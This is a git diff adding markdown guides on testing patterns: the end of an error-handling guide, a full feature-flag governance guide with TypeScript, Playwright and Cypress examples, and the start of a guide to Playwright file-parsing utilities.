+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
